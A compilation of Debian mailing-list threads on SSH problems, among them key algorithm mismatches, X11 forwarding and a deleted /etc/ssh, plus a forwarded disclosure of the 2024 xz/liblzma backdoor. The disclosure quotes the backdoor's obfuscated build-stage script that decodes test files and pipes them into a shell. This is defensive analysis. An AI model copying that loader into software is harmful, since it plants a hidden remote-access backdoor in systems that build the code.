Re: Ayuda Borre ssh de etc

[Toni Mas Soler]

El Mon, 27 May 2024 19:35:39 +0200
Camaleón  va escriure el següent:

> El 2024-05-27 a las 11:49 -0300, Jorge Abel Secreto escribió:
> 
> > Hola
> > 
> > El lun, 27 may 2024 a la(s) 11:33 a.m., Kadir Alexis Valdés
> > Izquierdo (kadir.va...@uic.cu) escribió:  
> > >
> > > como crear nuevamente directorio ssh? en debian 12 borre y
> > > quisiera restaurar  
> 
> (ahora me ha llegado este mensaje :-o)
> 
> >  Probaste reinstalar ssh?  
> 
> Si lo que busca es «recrear» la estructura del paquete original, 
> también puede decargar el paquete DEB¹ y «examinarlo» (explorarlo, es 
> como un ZIP comprimido) sin necesidad de instalarlo.
> 
> ¹http://ftp.de.debian.org/debian/pool/main/o/openssh/openssh-server_9.2p1-2+deb12u2_amd64.deb
> 
> Saludos,
> 

dpkg-reconfigure ssh-server
Te recreará todo.

Re: [solved] Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

[Nicholas Geovanis]

Just to compare, when Red Hat released 9.0 maybe 2 years ago (9.2 is
current until 30 June) they disabled by default many older key-lengths and
algorithms in SSL that were known to be weak. This caused issues for
existing installations. You could either re-enable the weaker methods (easy
but a pain to figure out courtesy of RH's layers of administration) or bite
the bullet and re-key.

On Sat, Jun 1, 2024, 5:51 AM Max Nikulin  wrote:

> On 01/06/2024 16:42, Thomas Schmitt wrote:
> >debug1: Remote protocol version 2.0, remote software version
> OpenSSH_6.7p1 Debian-5
> >
> > (I wonder what the string "Debian-5" may mean. The Debian 12 machine has
> > debug1: Local version string SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2
> >   So "-5" is not the Debian version.
>
> Package version in bookworm: 1:9.2p1-2+deb12u2
>
>

Re: [solved] Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

[Max Nikulin]

On 01/06/2024 16:42, Thomas Schmitt wrote:

   debug1: Remote protocol version 2.0, remote software version OpenSSH_6.7p1 
Debian-5

(I wonder what the string "Debian-5" may mean. The Debian 12 machine has
debug1: Local version string SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2
  So "-5" is not the Debian version.


Package version in bookworm: 1:9.2p1-2+deb12u2

[solved] Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

[Thomas Schmitt]

Hi,

Jeffrey Walton wrote:
> If I am not mistaken, the problem you are experiencing is due to using
> RSA/SHA-1 on the old machine.

Max Nikulin wrote:
> My reading of /usr/share/doc/openssh-client/NEWS.Debian.gz is that ssh-rsa
> means SHA1 while clients offers SHA256 for the same id_rsa key.

Indeed NEWS.Debian.gz links
  PubkeyAcceptedAlgorithms +ssh-rsa
to RSA/SHA1.
This is the explanation why the message does not say that ssh-rsa is
disabled and why the web is so unclear about the ssh-rsa hash algorithm.

So the Debian 12 client really offered the RSA key but not in a way the
Debian 8 server could handle.
The ssh -v messages have a line

  debug1: Remote protocol version 2.0, remote software version OpenSSH_6.7p1 
Debian-5

(I wonder what the string "Debian-5" may mean. The Debian 12 machine has
   debug1: Local version string SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2
 So "-5" is not the Debian version.
)
NEWS.Debian.gz says

  OpenSSH has supported RFC8332 RSA/SHA-256/512
  signatures since release 7.2 and existing ssh-rsa keys will
  automatically use the stronger algorithm where possible.

So the Debian 8 sshd is too old for a better ssh-rsa handshake and the
connection might have been highjacked since 2022 "for 

Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

[Max Nikulin]

On 01/06/2024 01:52, Thomas Schmitt wrote:

   debug1: Offering public key:/home/.../.ssh/id_rsa RSA SHA256:...

[...]

The Debian 12 ssh client is obviously willing to try ssh-rsa.


My reading of /usr/share/doc/openssh-client/NEWS.Debian.gz is that 
ssh-rsa means SHA1 while clients offers SHA256 for the same id_rsa key.



   * This release disables RSA signatures using the SHA-1 hash algorithm by
 default. This change has been made as the SHA-1 hash algorithm is
 cryptographically broken, and it is possible to create chosen-prefix
 hash collisions for 

Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

[Jeffrey Walton]

On Fri, May 31, 2024 at 7:08 PM Thomas Schmitt  wrote:
>
> i still have network access to a Debian 8 system, to which i logged in
> from Debian 11 via ssh and a ssh-rsa key. After the upgrade to Debian 12
> ssh fails with this public key authentication.
> The probably relevant messages from a run of ssh -vvv are:
>
>   debug1: Offering public key: /home/.../.ssh/id_rsa RSA SHA256:...
>   debug1: send_pubkey_test: no mutual signature algorithm
>
> To my luck, the old sshd already supports ssh-ed25519 and i was able to
> add the content of the Debian 12 id_ed25519.pub to the Debian 8 file
> .ssh/authorized_keys2 . Now ssh to the Debian 8 machine works again.
>
> But i find this error message "no mutual signature algorithm" strange.
> The Debian 12 ssh client is obviously willing to try ssh-rsa.
> The Debian 8 sshd accepted that key from Debian 11. Why not from 12 ?
>
> In
>   https://www.openssh.com/releasenotes.html
> i find for 9.2 or older only a RequiredRSASize directive of which
> man sshd_config says the default is 1024.
> The ssh-rsa key was generated by Debian 10. man ssh-keygen of buster
> says the default of option -b with RSA was 2048.
> (Does anybody know how to analyze a key file in regard to such
> parameters ?)

If I am not mistaken, the problem you are experiencing is due to using
RSA/SHA-1 on the old machine. The RSA modulus is large enough, but the
hash is weak. That change happened at OpenSSH 8.9.

`ssh -vvv` should show the ciphers offered by the server and client.
It should look something like:

debug2: KEX algorithms: curve25519-sha256,curve25519-sha...@libssh.org,e
cdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,sntrup761x25519-
sha...@openssh.com,diffie-hellman-group-exchange-sha256,diffie-hellman-g
roup16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha25
6,ext-info-c,kex-strict-c-...@openssh.com
debug2: host key algorithms: ssh-ed25519-cert-...@openssh.com,ecdsa-sha2
-nistp256-cert-...@openssh.com,ecdsa-sha2-nistp384-cert-...@openssh.com,
ecdsa-sha2-nistp521-cert-...@openssh.com,sk-ssh-ed25519-cert-v01@openssh
.com,sk-ecdsa-sha2-nistp256-cert-...@openssh.com,rsa-sha2-512-cert-v01@o
penssh.com,rsa-sha2-256-cert-...@openssh.com,ssh-ed25519,ecdsa-sha2-nist
p256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,sk-ssh-ed25...@openssh.com,
sk-ecdsa-sha2-nistp...@openssh.com,rsa-sha2-512,rsa-sha2-256

Jeff

[solved] Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

[Thomas Schmitt]

Hi,

the following line in ~/.ssh/config did the trick:

  PubkeyAcceptedAlgorithms +ssh-rsa

This lets ssh -v report:

  debug1: Offering public key: /home/.../.ssh/id_rsa RSA SHA256:...
  debug1: Server accepts key: /home/.../.ssh/id_rsa RSA SHA256:...
  Authenticated to ... ([...]:22) using "publickey".

and leads to a shell session on the Debian 8 machine.

So the mere message
  debug1: Offering public key: /home/.../.ssh/id_rsa RSA SHA256:...
does not mean that RSA would be acceptable on the client side.
It would be nice if the refusal message would be somewhat clearer than
  debug1: send_pubkey_test: no mutual signature algorithm


I wrote:
> > The ssh-rsa key was generated by Debian 10. man ssh-keygen of buster
> > says the default of option -b with RSA was 2048.
> > (Does anybody know how to analyze a key file in regard to such
> > parameters ?)

Michael Kjörling wrote:
> $ ssh-keygen -l -f $pubkeyfile

Says "2048 SHA256:... ...@... (RSA)".
(Now that i know the right option, i can suddenly see it in the man page.)


Have a nice day :)

Thomas

Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

[Michael Kjörling]

On 31 May 2024 20:52 +0200, from scdbac...@gmx.net (Thomas Schmitt):
> The ssh-rsa key was generated by Debian 10. man ssh-keygen of buster
> says the default of option -b with RSA was 2048.
> (Does anybody know how to analyze a key file in regard to such
> parameters ?)

$ ssh-keygen -l -f $pubkeyfile

The first field of the output is the key length in bits (for RSA keys,
this is the length of the modulus).

-- 
Michael Kjörling  https://michael.kjorling.se
“Remember when, on the Internet, nobody cared that you were a dog?”

No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

[Thomas Schmitt]

Hi,

i still have network access to a Debian 8 system, to which i logged in
from Debian 11 via ssh and a ssh-rsa key. After the upgrade to Debian 12
ssh fails with this public key authentication.
The probably relevant messages from a run of ssh -vvv are:

  debug1: Offering public key: /home/.../.ssh/id_rsa RSA SHA256:...
  debug1: send_pubkey_test: no mutual signature algorithm

To my luck, the old sshd already supports ssh-ed25519 and i was able to
add the content of the Debian 12 id_ed25519.pub to the Debian 8 file
.ssh/authorized_keys2 . Now ssh to the Debian 8 machine works again.


But i find this error message "no mutual signature algorithm" strange.
The Debian 12 ssh client is obviously willing to try ssh-rsa.
The Debian 8 sshd accepted that key from Debian 11. Why not from 12 ?


In
  https://www.openssh.com/releasenotes.html
i find for 9.2 or older only a RequiredRSASize directive of which
man sshd_config says the default is 1024.
The ssh-rsa key was generated by Debian 10. man ssh-keygen of buster
says the default of option -b with RSA was 2048.
(Does anybody know how to analyze a key file in regard to such
parameters ?)

In the web i find the reverse problem, i.e. older machine cannot ssh to
Debian 12, because ssh-rsa would now be disabled by default.


Have a nice day :)

Thomas

Re: Ayuda Borre ssh de etc

[Camaleón]

El 2024-05-27 a las 11:49 -0300, Jorge Abel Secreto escribió:

> Hola
> 
> El lun, 27 may 2024 a la(s) 11:33 a.m., Kadir Alexis Valdés Izquierdo
> (kadir.va...@uic.cu) escribió:
> >
> > como crear nuevamente directorio ssh? en debian 12 borre y quisiera 
> > restaurar

(ahora me ha llegado este mensaje :-o)

>  Probaste reinstalar ssh?

Si lo que busca es «recrear» la estructura del paquete original, 
también puede decargar el paquete DEB¹ y «examinarlo» (explorarlo, es 
como un ZIP comprimido) sin necesidad de instalarlo.

¹http://ftp.de.debian.org/debian/pool/main/o/openssh/openssh-server_9.2p1-2+deb12u2_amd64.deb

Saludos,

-- 
Camaleón 

Re: Ayuda Borre ssh de etc

[Jorge Abel Secreto]

Hola

El lun, 27 may 2024 a la(s) 11:33 a.m., Kadir Alexis Valdés Izquierdo
(kadir.va...@uic.cu) escribió:
>
> como crear nuevamente directorio ssh? en debian 12 borre y quisiera restaurar

 Probaste reinstalar ssh?


-- 
Jorge A Secreto
Analista de Sistemas
MP 361

Ayuda Borre ssh de etc

[Kadir Alexis Valdés Izquierdo]

como crear nuevamente directorio ssh? en debian 12 borre y quisiera restaurar 

Raar SSH probleem

[Paul van der Vlis]

Hoi,

Ik kreeg melding dat een backup mislukt was, en ik wou kijken. Het bleek 
dat ik ook niet kon inloggen via SSH.


Op een gegeven moment zag ik de melding "ssh Exceeded MaxStartups". 
Machine gereboot, zelfs twee keer. Op een gegeven moment kon ik weer 
inloggen.


In de logs zie ik dit soort meldingen:

Apr 21 00:00:07 fileserver dbus-daemon[318]: [system] Activating via 
systemd: service name='org.freedesktop.login1' 
unit='dbus-org.freedesktop.login1.service' requested by ':1.122' (uid=0 
pid=197561 comm="/usr/bin/python3 /usr/share/unattended-upgrades/un")

-

Let ook op de laatste stuk wat eindigt op "un", net alsof er iets is 
weggevallen.


"systemctl unmask dbus-org.freedesktop.login1.service" geeft geen 
foutmelding, maar hij blijft "masked".


Iemand een idee hoe dit te debuggen?

Groet,
Paul


--
Paul van der Vlis Linux systeembeheer Groningen
https://vandervlis.nl/

Re: No $DISPLAY variable set over ssh

[Jörg-Volker Peetz]

allan wrote on 18/04/2024 13:37:

Bug report submitted.  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1069236



Hi,
may I ask how you disabled IPv6 on these machines?
Regards,
Jörg.

Re: No $DISPLAY variable set over ssh

[Franco Martelli]

Hi Allan,

On 18/04/24 at 12:38, allan wrote:

Have four Sid machines here and ssh -X has worked fine on all of them
for years. For the last several days I haven't been able to run
graphical applications over ssh from any of these machines.

Error says "cannot open display" and if I ssh into the machine
$DISPLAY is indeed blank but from a local console $DISPLAY correctly
reads :0

export DISPLAY=ip.of.ssh.guest:0 doesn't work either although it does
set the variable on the host machine. xhost + also gives the cannot
open display error.

ssh -vv -Y u...@ip.add.re.ss just gives "X11 forwarding request failed
on channel 0"

Since this happened on all four machines at once I'm pretty sure it's
nothing I did - but I haven't been able to resolve it yet.

Anybody else seeing this? Anybody got an idea how to resolve or which
package to give a bug report?

cheers -



Have you tried to set the following entries in your /etc/ssh/sshd_config 
file:


X11Forwarding yes
X11DisplayOffset 10
X11UseLocalhost no

don't forget to restart the server.

Cheers,

--
Franco Martelli

Re: No $DISPLAY variable set over ssh

[allan]

Bug report submitted.  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1069236

On Thu, Apr 18, 2024 at 6:18 AM allan  wrote:
>
> I just fixed it.  in /etc/ssh/sshd_config I changed
>
> #AddressFamily any
>
> to
>
> AddressFamily inet
>
> Reading the host's journal got me pointed in the right direction.
> Thank you for the suggestion  :)
>
> On Thu, Apr 18, 2024 at 6:10 AM allan  wrote:
> >
> > > In the context of these SSH sessions, are those clients or servers?
> >
> > Both.  I've run all four machines as both host and guest when testing.
> >
> > > Do the logs on the host ip.add.re.ss provide any further details?
> >
> > journalctl -t sshd gives this -
> >
> > Apr 18 05:29:03 server sshd[2052]: error: Failed to allocate
> > internet-domain X11 display socket.
> >
> > On Thu, Apr 18, 2024 at 5:54 AM Michael Kjörling <2695bd53d...@ewoof.net> 
> > wrote:
> > >
> > > On 18 Apr 2024 05:38 -0500, from wizard10...@gmail.com (allan):
> > > > Have four Sid machines here
> > >
> > > In the context of these SSH sessions, are those clients or servers?
> > >
> > >
> > > > ssh -vv -Y u...@ip.add.re.ss just gives "X11 forwarding request failed
> > > > on channel 0"
> > >
> > > Do the logs on the host ip.add.re.ss provide any further details?
> > >
> > > --
> > > Michael Kjörling  https://michael.kjorling.se
> > > “Remember when, on the Internet, nobody cared that you were a dog?”
> > >
> >
> >
> > --
> > we see things not as they are, but as we are.
> >  -- anais nin
>
>
>
> --
> we see things not as they are, but as we are.
>  -- anais nin



-- 
we see things not as they are, but as we are.
 -- anais nin

Re: No $DISPLAY variable set over ssh

[allan]

I just fixed it.  in /etc/ssh/sshd_config I changed

#AddressFamily any

to

AddressFamily inet

Reading the host's journal got me pointed in the right direction.
Thank you for the suggestion  :)

On Thu, Apr 18, 2024 at 6:10 AM allan  wrote:
>
> > In the context of these SSH sessions, are those clients or servers?
>
> Both.  I've run all four machines as both host and guest when testing.
>
> > Do the logs on the host ip.add.re.ss provide any further details?
>
> journalctl -t sshd gives this -
>
> Apr 18 05:29:03 server sshd[2052]: error: Failed to allocate
> internet-domain X11 display socket.
>
> On Thu, Apr 18, 2024 at 5:54 AM Michael Kjörling <2695bd53d...@ewoof.net> 
> wrote:
> >
> > On 18 Apr 2024 05:38 -0500, from wizard10...@gmail.com (allan):
> > > Have four Sid machines here
> >
> > In the context of these SSH sessions, are those clients or servers?
> >
> >
> > > ssh -vv -Y u...@ip.add.re.ss just gives "X11 forwarding request failed
> > > on channel 0"
> >
> > Do the logs on the host ip.add.re.ss provide any further details?
> >
> > --
> > Michael Kjörling  https://michael.kjorling.se
> > “Remember when, on the Internet, nobody cared that you were a dog?”
> >
>
>
> --
> we see things not as they are, but as we are.
>  -- anais nin



-- 
we see things not as they are, but as we are.
 -- anais nin

Re: No $DISPLAY variable set over ssh

[allan]

> In the context of these SSH sessions, are those clients or servers?

Both.  I've run all four machines as both host and guest when testing.

> Do the logs on the host ip.add.re.ss provide any further details?

journalctl -t sshd gives this -

Apr 18 05:29:03 server sshd[2052]: error: Failed to allocate
internet-domain X11 display socket.

On Thu, Apr 18, 2024 at 5:54 AM Michael Kjörling <2695bd53d...@ewoof.net> wrote:
>
> On 18 Apr 2024 05:38 -0500, from wizard10...@gmail.com (allan):
> > Have four Sid machines here
>
> In the context of these SSH sessions, are those clients or servers?
>
>
> > ssh -vv -Y u...@ip.add.re.ss just gives "X11 forwarding request failed
> > on channel 0"
>
> Do the logs on the host ip.add.re.ss provide any further details?
>
> --
> Michael Kjörling  https://michael.kjorling.se
> “Remember when, on the Internet, nobody cared that you were a dog?”
>


-- 
we see things not as they are, but as we are.
 -- anais nin

Re: No $DISPLAY variable set over ssh

[Michael Kjörling]

On 18 Apr 2024 05:38 -0500, from wizard10...@gmail.com (allan):
> Have four Sid machines here

In the context of these SSH sessions, are those clients or servers?


> ssh -vv -Y u...@ip.add.re.ss just gives "X11 forwarding request failed
> on channel 0"

Do the logs on the host ip.add.re.ss provide any further details?

-- 
Michael Kjörling  https://michael.kjorling.se
“Remember when, on the Internet, nobody cared that you were a dog?”

No $DISPLAY variable set over ssh

[allan]

Have four Sid machines here and ssh -X has worked fine on all of them
for years. For the last several days I haven't been able to run
graphical applications over ssh from any of these machines.

Error says "cannot open display" and if I ssh into the machine
$DISPLAY is indeed blank but from a local console $DISPLAY correctly
reads :0

export DISPLAY=ip.of.ssh.guest:0 doesn't work either although it does
set the variable on the host machine. xhost + also gives the cannot
open display error.

ssh -vv -Y u...@ip.add.re.ss just gives "X11 forwarding request failed
on channel 0"

Since this happened on all four machines at once I'm pretty sure it's
nothing I did - but I haven't been able to resolve it yet.

Anybody else seeing this? Anybody got an idea how to resolve or which
package to give a bug report?

cheers -

Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[Andy Smith]

Hi,

On Sat, Mar 30, 2024 at 08:57:14PM +, fxkl4...@protonmail.com wrote:
> so is this a threat to us normal debian users

If you have to ask, i.e. you do not know how to check that your
Debian install is secured against extremely well known recent
exploits that have been plastered across the entire Internet,
then yes, your Debian install is at risk - from this gap in your
knowledge.

It's okay to not know things, but let's rectify that.

Every Debian user that manages their own machine(s) should read
this:

https://www.debian.org/doc/manuals/debian-handbook/

In it there is a chapter on keeping up to date:


https://www.debian.org/doc/manuals/debian-handbook/sect.regular-upgrades.en.html

That will get you a long way - letting you kn ow when there's
updated packages available for your version of Debian.

But what about known issues that may or may not have been yet
tackled by Debian?

You can find a reference for advisories here:

https://www.debian.org/security/

And you can be fed info by email by subscribing to:

https://lists.debian.org/debian-security-announce/

Between those last two links your specific question here is answered
but in case you object to being taught to fish, here is your fish:

https://lists.debian.org/debian-security-announce/2024/msg00057.html

Bon appetit.
Andy

-- 
https://bitfolk.com/ -- No-nonsense VPS hosting

Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[Michel Verdier]

On 2024-03-30, fxkl4...@protonmail.com wrote:

> so is this a threat to us normal debian users
> if so how do we fix it

Debian stable is not affected, Debian testing, unstable and
experimental must be updated.

https://lists.debian.org/debian-security-announce/2024/msg00057.html

Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[fxkl47BF]

so is this a threat to us normal debian users
if so how do we fix it

On Sat, 30 Mar 2024, Jeffrey Walton wrote:

> It looks like more analysis has revealed this is a RCE with the
> payload in the modulus of a public key: "The payload is extracted from
> the N value (the public key) passed to RSA_public_decrypt, checked
> against a simple fingerprint, and decrypted with a fixed ChaCha20 key
> before the Ed448 signature verification..." Also see
> <https://www.openwall.com/lists/oss-security/2024/03/30/36>.
>
> On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton  wrote:
>>
>> Seems relevant since Debian adopted xz about 10 years ago.
>>
>> -- Forwarded message -
>> From: Andres Freund 
>> Date: Fri, Mar 29, 2024 at 12:10 PM
>> Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh
>> server compromise
>> To: 
>>
>> Hi,
>>
>> After observing a few odd symptoms around liblzma (part of the xz package) on
>> Debian sid installations over the last weeks (logins with ssh taking a lot of
>> CPU, valgrind errors) I figured out the answer:
>>
>> The upstream xz repository and the xz tarballs have been backdoored.
>>
>> At first I thought this was a compromise of debian's package, but it turns 
>> out
>> to be upstream.
>>
>> == Compromised Release Tarball ==
>>
>> One portion of the backdoor is *solely in the distributed tarballs*. For
>> easier reference, here's a link to debian's import of the tarball, but it is
>> also present in the tarballs for 5.6.0 and 5.6.1:
>>
>> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
>>
>> That line is *not* in the upstream source of build-to-host, nor is
>> build-to-host used by xz in git.  However, it is present in the tarballs
>> released upstream, except for the "source code" links, which I think github
>> generates directly from the repository contents:
>>
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.0
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.1
>>
>>
>> This injects an obfuscated script to be executed at the end of configure. 
>> This
>> script is fairly obfuscated and data from "test" .xz files in the repository.
>>
>>
>> This script is executed and, if some preconditions match, modifies
>> $builddir/src/liblzma/Makefile to contain
>>
>> am__test = bad-3-corrupt_lzma2.xz
>> ...
>> am__test_dir=$(top_srcdir)/tests/files/$(am__test)
>> ...
>> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
>>
>>
>> which ends up as
>> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
>>   \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>>
>> Leaving out the "| bash" that produces
>>
>> Hello
>> #�Z�.hj�
>> eval `grep ^srcdir= config.status`
>> if test -f ../../config.status;then
>> eval `grep ^srcdir= ../../config.status`
>> srcdir="../../$srcdir"
>> fi
>> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c
>> +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +724)";(xz -dc
>> $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c
>> +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131"
>> "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
>> World
>>
>> After de-obfuscation this leads to the attached injected.txt.
>>
>>
>> ==

Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[Jeffrey Walton]

It looks like more analysis has revealed this is a RCE with the
payload in the modulus of a public key: "The payload is extracted from
the N value (the public key) passed to RSA_public_decrypt, checked
against a simple fingerprint, and decrypted with a fixed ChaCha20 key
before the Ed448 signature verification..." Also see
<https://www.openwall.com/lists/oss-security/2024/03/30/36>.

On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton  wrote:
>
> Seems relevant since Debian adopted xz about 10 years ago.
>
> -- Forwarded message -
> From: Andres Freund 
> Date: Fri, Mar 29, 2024 at 12:10 PM
> Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh
> server compromise
> To: 
>
> Hi,
>
> After observing a few odd symptoms around liblzma (part of the xz package) on
> Debian sid installations over the last weeks (logins with ssh taking a lot of
> CPU, valgrind errors) I figured out the answer:
>
> The upstream xz repository and the xz tarballs have been backdoored.
>
> At first I thought this was a compromise of debian's package, but it turns out
> to be upstream.
>
> == Compromised Release Tarball ==
>
> One portion of the backdoor is *solely in the distributed tarballs*. For
> easier reference, here's a link to debian's import of the tarball, but it is
> also present in the tarballs for 5.6.0 and 5.6.1:
>
> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
>
> That line is *not* in the upstream source of build-to-host, nor is
> build-to-host used by xz in git.  However, it is present in the tarballs
> released upstream, except for the "source code" links, which I think github
> generates directly from the repository contents:
>
> https://github.com/tukaani-project/xz/releases/tag/v5.6.0
> https://github.com/tukaani-project/xz/releases/tag/v5.6.1
>
>
> This injects an obfuscated script to be executed at the end of configure. This
> script is fairly obfuscated and data from "test" .xz files in the repository.
>
>
> This script is executed and, if some preconditions match, modifies
> $builddir/src/liblzma/Makefile to contain
>
> am__test = bad-3-corrupt_lzma2.xz
> ...
> am__test_dir=$(top_srcdir)/tests/files/$(am__test)
> ...
> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
>
>
> which ends up as
> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
>   \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>
> Leaving out the "| bash" that produces
>
> Hello
> #��Z�.hj�
> eval `grep ^srcdir= config.status`
> if test -f ../../config.status;then
> eval `grep ^srcdir= ../../config.status`
> srcdir="../../$srcdir"
> fi
> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c
> +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +724)";(xz -dc
> $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c
> +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131"
> "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
> World
>
> After de-obfuscation this leads to the attached injected.txt.
>
>
> == Compromised Repository ==
>
> The files containing the bulk of the exploit are in an obfuscated form in
>   tests/files/bad-3-corrupt_lzma2.xz
>   tests/files/good-large_compressed.lzma
> committed upstream. They were initially added in
> https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
>
> Note that the files were not even used for any "tests" in 5.6.0.
>
>
> Subsequently the injected code (more about that below) caused valgrind 

Re: Fwd: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[Andy Smith]

Hello,

On Fri, Mar 29, 2024 at 01:52:18PM -0400, Jeffrey Walton wrote:
> Seems relevant since Debian adopted xz about 10 years ago.

Though we do not know how or why this developer has come to recently
put apparent exploits in it, so we can't yet draw much of a
conclusion beyond "sometimes people do bad stuff to good software".

Sounds like it'll be an interesting story though. It's going to
drive a lot of conspiracy theories.

Thanks,
Andy

-- 
https://bitfolk.com/ -- No-nonsense VPS hosting

Re: Fwd: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[Roberto C . Sánchez]

On Fri, Mar 29, 2024 at 01:52:18PM -0400, Jeffrey Walton wrote:
> Seems relevant since Debian adopted xz about 10 years ago.
> 
Also note that this has been addressed in Debian:
https://lists.debian.org/debian-security-announce/2024/msg00057.html

Provided here for the benefit those who are not subscribed to
debian-security-announce.

Regards,

-Roberto

-- 
Roberto C. Sánchez

Re: Upgrade to Bookworm, now GNOME keyring dies--no access to stored SSH key passwords

[Nate Bargmann]

Well, it appears like most things in life this one was self inflicted.
郎

Yesterday I was working on another project and to verify something was
occurring the 'strace' utility was recommended.  It dawned on me that
this could help me get a clue as to what was happening to the
gnome-keyring-daemon.  Using strace attached to the PID of the daemon
after a reboot showed it was getting the SIGTERM signal at exactly the
top of the hour.  What?!!

After seeing this twice this morning I recalled that I have a cron entry
to kill the 'rec' program.  This was to break up audio files into hourly
segments when recording an amateur radio event.  This was the cron
command:

# Rotate sound recorder files
00 * * * * /usr/bin/pkill -f rec > /dev/null 2> /dev/null

On a hunch I commented that line and Voila! the daemon ran through the
next hour change and is still running as expected.  The man page states
that the '-f' option matches against the full command line, not just the
process name.  So, looking at the gnome-keyring-daemon command line:

   1857 ?SLsl   0:00 /usr/bin/gnome-keyring-daemon --foreground 
--components=pkcs11,secrets --control-directory=/run/user/1000/keyring

I see that the 'rec' in 'directory' provided the match!  Confirmed with
pgrep:

$ pgrep -f rec
1857

It looks like the solution for the future will be to change the cron
line to:

00 * * * * /usr/bin/pkill -f /usr/bin/rec > /dev/null 2> /dev/null

When I want to use it next in order to protect other processes.

I certainly hope this is resolved.  OTOH, it forced me to recall a
number of passwords!  藍

- Nate

-- 
"The optimist proclaims that we live in the best of all
possible worlds.  The pessimist fears this is true."
Web: https://www.n0nb.us
Projects: https://github.com/N0NB
GPG fingerprint: 82D6 4F6B 0E67 CD41 F689 BBA6 FB2C 5130 D55A 8819



signature.asc
Description: PGP signature

Re: openssh: missing kex_exchange_identification ssh error messages with 1:9.5p1-2?

[Vincent Lefevre]

On 2023-12-14 14:04:08 -0500, Greg Wooledge wrote:
> On Thu, Dec 14, 2023 at 05:14:28PM +0100, Vincent Lefevre wrote:
> > I have the latest version!!! I recall that this is a Debian/unstable
> > machine, which I upgrade regularly. So, everytime I get such an error,
> > I have the latest client.
> 
> Just for the record, saying you have the "latest" version of something
> is unhelpful.  This goes double when you're on a testing or unstable
> system.  We don't know how long ago you updated, or what mirrors you're
> using, or what errors might have occurred the last time you updated,
> or whether you have a locally installed version of "ssh" in your PATH
> before /usr/bin/ssh, or... anything.  Anything at all.
> 
> When asking for help, it's best to give all of the relevant details up
> front.  Start by saying you're on Debian unstable.  Then give the
> installed package version (as printed by "dpkg -l openssh-client")
> and the output of "ssh -V".

As I've said in my message: I've upgraded to openssh-client 1:9.5p1-2.

